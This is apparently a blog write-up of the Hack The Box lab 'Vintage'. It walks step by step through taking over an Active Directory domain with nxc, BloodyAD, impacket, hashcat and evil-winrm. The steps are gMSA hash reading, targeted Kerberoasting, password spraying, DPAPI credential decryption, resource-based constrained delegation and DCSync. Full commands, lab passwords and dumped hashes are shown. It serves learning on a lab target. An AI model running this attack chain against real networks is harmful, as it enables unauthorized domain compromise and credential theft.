Intro#

Hello, it’s been a while! Life has been super busy since I got my OSCP, but I wanted to get back to doing these writeups more often. :) I said I’d do a Linux writeup next but I really just enjoy doing these AD boxes… so maybe next time, haha.

Recon# 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-09 15:38:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49689/tcp open  msrpc         Microsoft Windows RPC
64654/tcp open  msrpc         Microsoft Windows RPC
64666/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Starter Creds#

P.Rosa@vintage.htb 
Rosaisbest123

Notes#

User#

Right off the bat, we can see that trying to authenticate with NTLM won’t work - we’ll need to use Kerberos.

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap DC01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123'
/usr/lib/python3/dist-packages/lsassy/impacketfile.py:90: SyntaxWarning: 'return' in a 'finally' block
  return True
LDAP        10.129.83.76  389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.129.83.76  389    DC01             [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Once we set our Kerberos config up (I always follow this guide), and set the proper environment variable, we can request a ticket with kinit: 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ export KRB5_CONFIG="$PWD/custom_krb5.conf"

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: P.Rosa@VINTAGE.HTB

Valid starting       Expires              Service principal
09/10/2026 11:39:02  09/10/2026 21:39:02  krbtgt/VINTAGE.HTB@VINTAGE.HTB
        renew until 09/11/2026 11:38:54

For both BloodyAD and nxc, we can also use the -k option with a password, but it’s worth having the ccache & realm file around in case they’re needed. For example, our next step! We’ll run a RustHound scan (after setting KRB5CCNAME to point to our ccache) and import the resulting zip into BloodHound: 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ rusthound-ce -d vintage.htb -k -z
[snip...]
RustHound-CE Enumeration Completed at 11:41:09 on 09/10/26! Happy Graphing!
FS01 is a member of the Pre-Windows 2000 Compatible Group We can see that the computer FS01 is a member of the Pre-Windows 2000 Compatible Group. This group was created for, as the name suggests, compatibility with Windows NT due to the introduction of AD in Windows 2000. Pre-created computer accounts belonging to this compatibility group, by default, have a machine password consisting of their hostname (all lowercase, no trailing $). If we try this… 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap DC01.vintage.htb -u 'FS01$' -p 'fs01' -k
LDAP        DC01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\FS01$:fs01
… it works!
FS01$@vintage.htb 
fs01

Important note: the nxc pre2k module doesn’t work here even though it’s meant to identify exactly this type of misconfiguration, because it’s filtering specifically for UAC 4128 (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) - FS01 doesn’t have the latter UAC attribute.

If we look at FS01’s outbound perms, we can see it has ReadGMSAPassword on the GMSA01$ service account: FS01 has ReadGMSA on GMSA01 As a brief refresher: GMSAs, or Group Managed Service Accounts, are a type of service account in Active Directory with the intent of providing functionality for the same service account across multiple servers. The “Managed” in the name comes from the fact that password rotation and management is handled entirely by AD, which automatically generates a random strong password for the Service Account. ReadGMSA as a permission means that a principal can read that password, the intent being for allowed principals to read the password and run local services as that GMSA… but obviously, this can be abused by attackers too. nxc has a gmsa module that makes this very convenient, and lets us retrieve gMSA01$’s NT hash!

A small aside - while we can actually read the plaintext GMSA password, it’s a bunch of random data interpreted as UTF-16 characters - it’s far more convenient for us to use the NT hash, which is basically just as good.

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap DC01.vintage.htb -k -u 'FS01$' -p 'fs01' --gmsa
LDAP        DC01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\FS01$:fs01 
LDAP        DC01.vintage.htb 389    DC01             [*] Getting GMSA Passwords
LDAP        DC01.vintage.htb 389    DC01             Account: gMSA01$              NTLM: c50f79ceb0abdedcd63683cbfb6992bb     PrincipalsAllowedToReadPassword: Domain Computers
gMSA01$@vintage.htb - NT Hash 
c50f79ceb0abdedcd63683cbfb6992bb

GMSA01 has GenericWrite on ServiceManagers We can see that gMSA01$ has GenericWrite over the ServiceManagers group. GenericWrite over a group lets us add and remove members of that group freely. And if we look at what permissions ServiceManagers has… The ServiceManagers group has GenericAll on svc_ldap, svc_ark, and svc_sql Members of ServiceManagers have GenericAll on svc_ldap, svc_ark, and svc_sql! So our next step is going to be to add ourselves to this group. We’ll be using BloodyAD for this.

BloodyAD doesn’t support authenticating with an NT hash with Kerberos, so we’ll need to get a ticket for gMSA01$ via impacket-getTGT - another good demonstration of the importance of setting up your Kerberos realm config anytime you’re dealing with a Kerberos-only domain. 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-getTGT vintage.htb/gMSA01$ -dc-ip 10.129.83.76 -hashes ':c50f79ceb0abdedcd63683cbfb6992bb'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in gMSA01$.ccache

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ export KRB5CCNAME=gMSA01$.ccache

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ klist
Ticket cache: FILE:gMSA01$.ccache
Default principal: gMSA01$@VINTAGE.HTB

Valid starting       Expires              Service principal
09/10/2026 12:00:55  09/10/2026 22:00:55  krbtgt/VINTAGE.HTB@VINTAGE.HTB
        renew until 09/11/2026 12:00:59
Now we can add ourselves to the group with BloodyAD! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'gMSA01$' -k ccache=gMSA01$.ccache add groupMember ServiceManagers P.Rosa
[+] P.Rosa added to ServiceManagers
Since we have GenericAll, we can do a Targeted Kerberoast on all three accounts to try to retrieve their passwords! Typical Kerberoasting is done on accounts that already have an SPN, whereas a Targeted Kerberoast is done by setting the SPN of the victim account. This requires having write permissions over the servicePrincipalName attribute of the victim account, which we easily clear with GenericAll, though GenericWrite would also suffice for this purpose as well. 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k set object svc_ldap servicePrincipalName -v 'HOST/svc_ldap'
[+] svc_ldap's servicePrincipalName has been updated

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k set object svc_sql servicePrincipalName -v 'HOST/svc_sql'
[+] svc_sql's servicePrincipalName has been updated

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k set object svc_ark servicePrincipalName -v 'HOST/svc_ark'
[+] svc_ark's servicePrincipalName has been updated
The svc_sql account is also disabled, so we’ll want to remove that UAC before Kerberoasting: svc_sql is disabled by default. 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k remove uac svc_sql -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl
And now we Kerberoast! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap DC01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k --kerberoasting krb.txt
LDAP        DC01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123 
LDAP        DC01.vintage.htb 389    DC01             [*] Skipping disabled account: krbtgt
LDAP        DC01.vintage.htb 389    DC01             [*] Total of records returned 3
LDAP        DC01.vintage.htb 389    DC01             [*] sAMAccountName: svc_ark, memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb, pwdLastSet: 2024-06-06 09:45:27.913095, lastLogon: <never>
LDAP        DC01.vintage.htb 389    DC01             $krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb\svc_ark*...
LDAP        DC01.vintage.htb 389    DC01             [*] sAMAccountName: svc_ldap, memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb, pwdLastSet: 2024-06-06 09:45:27.881830, lastLogon: <never>
LDAP        DC01.vintage.htb 389    DC01             $krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb\svc_ldap*...
LDAP        DC01.vintage.htb 389    DC01             [*] sAMAccountName: svc_sql, memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb, pwdLastSet: 2026-09-10 12:32:06.114936, lastLogon: <never>
LDAP        DC01.vintage.htb 389    DC01             $krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb\svc_sql*...
Let’s crack those hashes. :) 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ hashcat -m 13100 vintage.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
...

$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb\svc_sql...:Zer0the0ne
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: vintage.txt
Time.Started.....: Thu Sep 10 11:40:53 2026 (1 sec)
Time.Estimated...: Thu Sep 10 11:40:54 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 60909.5 kH/s (6.07ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Recovered........: 1/5 (20.00%) Digests (total), 1/5 (20.00%) Digests (new), 1/5 (20.00%) Salts
We weren’t able to crack svc_ldap and svc_ark’s passwords, but we managed to get svc_sql’s!
svc_sql@vintage.htb 
Zer0the0ne

That’s a rather non-account-specific password, so we’ll spray it across the network just in case. 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap DC01.vintage.htb -u users.txt -p 'Zer0the0ne' -k --continue-on-success
LDAP        DC01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\Administrator:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\Guest:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\krbtgt:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\C.Neri:Zer0the0ne 
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\svc_sql:Zer0the0ne 
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\svc_ldap:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\svc_ark:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        DC01.vintage.htb 389    DC01             [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
And… we get a match for C.Neri!
C.Neri@vintage.htb 
Zer0the0ne

C.Neri is a member of Remote Management Users, so let’s login as them! svc_sql is disabled by default. 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ evil-winrm-py -i vintage.htb -u C.Neri -p 'Zer0the0ne' -k
_ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'vintage.htb:5985' as 'C.Neri'
evil-winrm-py PS C:\Users\C.Neri\Documents> cd ../Desktop
evil-winrm-py PS C:\Users\C.Neri\Desktop> ls


    Directory: C:\Users\C.Neri\Desktop


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----          6/7/2024   1:17 PM           2312 Microsoft Edge.lnk                                                    
-ar---         9/10/2026   6:30 PM             34 user.txt                                                              


evil-winrm-py PS C:\Users\C.Neri\Desktop> cat user.txt
<redacted>

User flag obtained!

Root#

Sadly, if we try to run winpeas, it blocks us:

evil-winrm-py PS C:\Users\C.Neri\Documents> ./winpeas.exe > neri.out.raw
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ ./winpeas.exe > neri.out.raw
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~.

If we look in inside \AppData\Roaming\Microsoft\Credentials we can see there’s a DPAPI cred:

evil-winrm-py PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> ls -force


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

Let’s grab that, and the masterkeys while we’re at it…

evil-winrm-py PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-
2055507597-1115> ls -force


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847                                  
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b                                  
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE                                                            
-a-hs-          6/7/2024   1:17 PM             24 Preferred

It’s not clear which of these corresponds to that cred, so we’ll get both and then decrypt offline. 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-dpapi masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ERROR: Padding is incorrect.
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312
C.Neri_adm@vintage.htb 
Uncr4ck4bl3P4ssW0rd0312

c.neri_adm has one outbound permission - on the DelegatedAdmins group, which they are a member of. c.neri_adm is a member of DelegatedAdmins. That name gives us a hint to look for delegation rights… 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc ldap dc01.vintage.htb -u 'c.neri_adm' -p 'Uncr4ck4bl3P4ssW0rd0312' -k --find-delegation
LDAP        dc01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc01.vintage.htb 389    DC01             [+] vintage.htb\c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 
LDAP        dc01.vintage.htb 389    DC01             AccountName     AccountType DelegationType             DelegationRightsTo
LDAP        dc01.vintage.htb 389    DC01             --------------- ----------- -------------------------- ------------------
LDAP        dc01.vintage.htb 389    DC01             DelegatedAdmins Group       Resource-Based Constrained DC01$
And it looks like we can do Resource Based Constrained Delegation to DC01$! Conveniently for us, we have a controlled account (svc_sql) that has an SPN set, making it available to use for RBCD, and c.neri_adm’s GenericWrite permissions lets us add that account to the DelegatedAdmins group, giving it the required delegation rights!

gMSA01$ or FS01$ would also be valid options for RBCD here, as machine accounts (with the trailing $) are considered a valid “service” as far as AD is concerned.

So we’ll first add svc_sql to DelegatedAdmins: 

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H dc01.vintage.htb -d vintage.htb -u 'c.neri_adm' -p 'Uncr4ck4bl3P4ssW0rd0312' -k ad
d groupmember DelegatedAdmins svc_sql
[+] svc_sql added to DelegatedAdmins
Next, we’ll configure svc_sql for RBCD. 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ bloodyad -H DC01.vintage.htb -d vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k add rbcd svc_sql DC01$
[!] No security descriptor has been returned, a new one will be created
[+] DC01$ can now impersonate users on svc_sql via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+password://vintage.htb\P.Rosa:Rosaisbest123@DC01.vintage.htb/?serverip=10.129.83.76&dc=10.129.83.76' 'HOST/svc_sql@vintage.htb' 'Administrator@vintage.htb'
And now we’ll perform RBCD and get a ticket for DC01$! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate DC01$ -dc-ip 10.129.83.76 vintage.htb/svc_sql:Zer0the0ne
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in 'DC01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache'

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ export KRB5CCNAME=DC01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
And finally, with ticket in hand, we’ll DCSync! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-secretsdump -k -no-pass dc01.vintage.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
...
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:1cbb4337359690d1362df95876670530:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
...
[*] Cleaning up...
Attempting to authenticate with Administrator’s creds fails - but L.Bianchi is a member of Domain Admins and their creds work just fine! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ impacket-getTGT vintage.htb/L.Bianchi_adm -hashes ':1cbb4337359690d1362df95876670530'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in L.Bianchi_adm.ccache

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ export KRB5CCNAME=L.Bianchi_adm.ccache

┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ nxc smb dc01.vintage.htb --use-kcache
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [+] VINTAGE.HTB\L.Bianchi_adm from ccache (Pwn3d!)
And now we just get the flag!! 
┌──(kali㉿kali)-[~/Documents/files/htb/vintage]
└─$ evil-winrm-py -i vintage.htb -k
_ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'vintage.htb:5985' as 'L.Bianchi_adm@VINTAGE.HTB'
evil-winrm-py PS C:\Users\L.Bianchi_adm\Documents> cd ../../Administrator/Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
<redacted>

Root flag obtained!

Thank you for reading! :)